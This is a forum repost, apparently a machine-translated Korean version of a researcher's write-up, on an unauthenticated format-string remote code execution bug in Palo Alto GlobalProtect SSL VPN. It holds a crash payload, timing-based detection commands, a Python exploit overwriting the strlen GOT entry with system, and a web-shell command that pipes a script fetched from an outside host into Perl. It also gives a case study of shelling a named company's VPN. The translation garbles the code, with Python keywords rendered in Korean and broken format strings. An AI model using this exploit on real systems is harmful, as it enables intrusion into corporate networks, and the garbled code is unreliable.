KoreanHackerTeam
Moderator
0x00 前言
SSL VPN은 인터넷 공격의 위험으로부터 엔터프라이즈 자산을 보호 할 수 있지만 SSL VPN 자체가 공격에 취약한 경우 어떻게해야합니까? 그들은 인터넷에 노출되며 인트라넷에 안정적이고 안전하게 연결될 수 있습니다. SSL VPN 서버가 손상되면 공격자는 인트라넷을 관통하고 SSL-VPN 서버에 연결된 모든 사용자를 인수 할 수도 있습니다! 지난 몇 달 동안 우리는 보안 최고의 SSL VPN 제품에 대한 보안 연구를 시작했습니다.우리는 결과를 3 개의 기사로 게시 할 계획입니다. 우리는이 기사가 흥미로운 이야기라고 생각하고 Black Hat USA 및 Defcon에 완벽하다고 생각하기 때문에이 기사를 첫 번째 기사로 삼습니다.
NSA와 같은 엔터프라이즈 인트라넷 침투 - 안전한 선두 SSL VPN에서 RCE를 수행하십시오.
스포일러에 대해 걱정하지 마십시오.이 이야기는 Bhusa/Defcon 세션에 포함되어 있지 않습니다.
다가오는 데모에서는 SSL VPN을 해킹하기 위해 더 많은 핵심 악용과 미친 버그 체인을 제공 할 것입니다. 장치와 우리가 집중하는 공격 벡터를 탈옥하는 방법에서. 또한 유일하게 노출 된 HTTPS 포트에서 루트 쉘을 얻는 것을 보여주고, 서버를 소유자에 대해 비밀리에 무기화하고, 숨겨진 기능을 남용하여 모든 VPN 클라이언트를 인수합니다! 그러니 고대하고

0x01 故事开头
이 기사에서는 Palo Alto SSL VPN의 취약점에 대해 논의 할 것입니다. Palo Alto는 SSL VPN 제품 GlobalProtect를 호출합니다. /global-protect/login.esp 웹 루트 디렉토리로 리디렉션을 통해 GlobalPortect 서비스를 쉽게 식별 할 수 있습니다!이 취약점과 관련하여, 우리는 실수로 Red Team Assessment Service에서이를 발견했습니다. 처음에, 우리는 그것이 0 일이라고 생각했습니다. 그러나 최신 버전의 GlobalProtect의 원격 서버에서 우리의 재생산이 실패했습니다. 그래서 우리는 이것이 알려진 취약점인지 궁금해하기 시작했습니다.
인터넷에서 검색했지만 정보를 찾을 수 없었습니다. [1] 이전에 공개 RCE 익스플로잇이 없었으며, 공식적인 상담에는 유사한 정보가 포함되어 있지 않았으며 CVE도 없었습니다.
CVE-2017-15944 및 @U FEL1X의 우수한 Troppers16 논문과 같은 이전 PAN-OS 관리 인터페이스에는 몇 가지 취약점이 있었지만 불행히도 GlobalProtect와 관리 인터페이스는 LAN 포트에만 노출되었다고 언급하지 않았습니다.
0x02 The bug
이 버그는 매우 간단합니다. 인증없이 간단한 형식 문자열 취약점 일뿐입니다! SSLMGR은 서버와 클라이언트간에 SSL 핸드 셰이크를 처리하는 SSL 게이트웨이입니다. 데몬은 Nginx 리버스 프록시에 의해 근접하며 Path /SSLMGR을 통해 액세스 할 수 있습니다.$ curl https://global-protect/sslmgr
? xml 버전='1.0'인코딩='UTF-8'?
ClientCert-Response
상태 에러/상태
msginvalid 매개 변수/msg
/ClientCert-Response
매개 변수 추출 중에 데몬은 String Scep-Profile-Name을 검색하고 버퍼를 채우기 위해 SNPRINTF 형식으로 값을 전달합니다. 이로 인해 형식 문자열이 공격을받습니다. %n을 사용할 수 있습니다! 서비스 충돌!
post /sslmgr http /1.1
Host: 글로벌 보호
컨텐츠 길이 : 36
scep-profile-name=%n%n%n%n%n%n%n .
0x03 影响版本
설문 조사에 따르면 2018 년 7 월 이전의 GlobalProtect는 매우 깨지기 쉽습니다! 다음은 영향 버전 : 목록입니다Palo Alto GlobalProtect SSL VPN 7.1.X 7.1.19
Palo Alto GlobalProtect SSL VPN 8.0.x 8.0.12
Palo Alto GlobalProtect SSL VPN 8.1.x 8.1.3
9.x 및 7.0.x 시리즈는이 취약점의 영향을받지 않습니다.
0x04 如何验证BUG
버그가 어디에 있는지 알고 있지만 여전히 취약성을 확인하는 것은 쉽지 않습니다. 이 형식 문자열에는 출력이 없으므로 버그를 확인하기 위해 유출 된 주소를 얻을 수 없습니다. 그리고 충돌 서비스는 결코 우리의 첫 번째 선택이 아닙니다 [1]. 서비스 충돌을 피하려면 시스템의 정상적인 작동에 영향을 미치지 않고 취약점을 확인하는 방법을 찾아야합니다!SNPRINTF 매뉴얼을 읽음으로써 %C를 가제트로 선택했습니다! %9999999c와 같은 서식 전 숫자가있는 경우 SNPRINTF는 해당 시간을 내부적으로 반복적으로 요청합니다. 우리는이 취약점을 확인하기 위해 많은 반복의 응답 시간을 관찰합니다!
$ time curl -s -d 'scep-profile-name=%9999999c'https://global-protect/sslmgr/dev/null
실제 0m1.721
사용자 0m0.037S
SYS 0m0.005S
$ time curl -s -d 'scep-profile-name=%9999999c'https://global-protect/sslmgr/dev/null
실제 0m2.051
사용자 0m0.035s
SYS 0m0.012S
$ time curl -s -d 'scep-profile-name=%99999999c'https://global-protect/sslmgr/dev/null
실제 0m5.324s
사용자 0m0.021S
SYS 0m0.018S
보시다시피, 응답 시간은 %c. 따라서 시차에서 취약한 SSL-VPN을 정확하게 식별 할 수 있습니다!
SSLMGR 데몬을 모니터링하는 모니터링 프로그램이 있지만 여전히 충돌 서비스에 적합하지 않습니다!
0x05 利用
버그를 확인하면 악용하기가 쉽습니다. 이진 파일을 성공적으로 활용하려면 먼저 자세한 버전을 결정해야합니다. 버전 7.x 및 /images/logo_pan_158.gif 버전 7.x 용 버전 8.x 및 /images/logo_pan_158.gif와 같은/Global Protect/Portal/CSS/Login.css와 같은 최종 수정 된 헤더로 구별 할 수 있습니다.$ CURL -S -I https://sslvpn/Global -Protect/Portal/CSS/Login.css | Grep 최종 수정
마지막으로 수정 된 3: Sun, 2017 년 9 월 10 일 16333333:23 GMT
지정된 버전을 사용하여 이제 자신의 취약점을 작성할 수 있습니다. GOT (Global Offset Table)에서 STRLEN의 포인터를 시스템의 프로그램 링크 테이블 (PLT)으로 수정합니다. 여기에 POC가 있습니다.
#!/usr/bin/python
가져 오기 요청
PWN 가져 오기 *
URL='https://SSLVPN/SSLMGR'
cmd='echo pwed /var/appweb/sslvpndocs/hacked.txt'
strlen_got=0x667788 # 나를 변경합니다
System_PLT=0x445566 # 나를 변경합니다
fmt='%70 $ n'
fmt +='%' + str ((System_plt16)0xff) + 'c'
fmt +='%32 $ hn'
fmt +='%' + str ((System_plt0xffff)-((System_plt16)0xff)) + 'C'
fmt +='%24 $ hn'
I의 경우 범위 (40,60) :
fmt+='%'+str (i)+'$ p'
data='scep-profile-name='
데이터 +=p32 (strlen_got) [:-1]
data +='AppauthCookie='
데이터 +=p32 (strlen_got +2) [:-1]
data +='host-id='
데이터 +=p32 (strlen_got +4) [:-1]
data +='user-email='
데이터 +=fmt
data +='AppauthCookie='
데이터 +=CMD
r=requests.post (url, data=data)
수정이 완료되면 sslmgr은 웹 쉘이됩니다. 다음과 같은 방법으로 명령을 실행할 수 있습니다.
$ curl -d 'scep-profile-name=curl Orange.tw/bc.pl | Perl- 'https://global -protect/sslmgr
우리는이 버그를 Palo Alto Via에게보고했습니다. 그러나 우리는 다음과 같은 응답을 받았습니다.
안녕하세요 오렌지,
제출해 주셔서 감사합니다. Palo Alto Networks는 외부 연구원이보고하는 보안 취약점에 대한 조정 된 취약성 공개를 따릅니다. 우리는 내부 및 고정 된 항목을 찾지 않습니다. 이 문제는 이전에 고정되었지만 현재 버전에서 무언가를 찾으면 알려주십시오.
0x06 案例研究
우리가 이것이 0 일이 아니라는 것을 깨달은 후, 우리는 전 세계의 모든 Palo Alto SSL VPN을 취약한 GlobalProtect를 사용하는 대기업이 있는지 확인하기 위해 전 세계의 모든 Palo Alto SSL VPN을 살펴 보았습니다. 설문 조사에 따르면 Uber는 전 세계적으로 GlobalProtect를 실행하는 약 22 개의 서버를 보유하고 있습니다. 여기서 우리는 vpn.awscorp.uberinternal.com을 예로 들어 봅니다!도메인 이름에서 판단하면 Uber가 AWS Marketplace의 Byol을 사용하고 있다고 생각합니다. 로그인 페이지에서 Uber는 8.x 버전을 사용하는 것으로 보이며 개요 페이지에서 지원되는 버전 목록에서 가능한 대상 버전을 찾을 수 있습니다.
8.0.3
8.0.6
8.0.8
8.0.9
8.1.0
마지막으로, 우리는 버전을 발견하고 8.0.6이며 쉘을 얻었습니다!

:https://devco.re/blog/2019/07/17/at...n-palo-alto-globalprotect-with-as-case-study/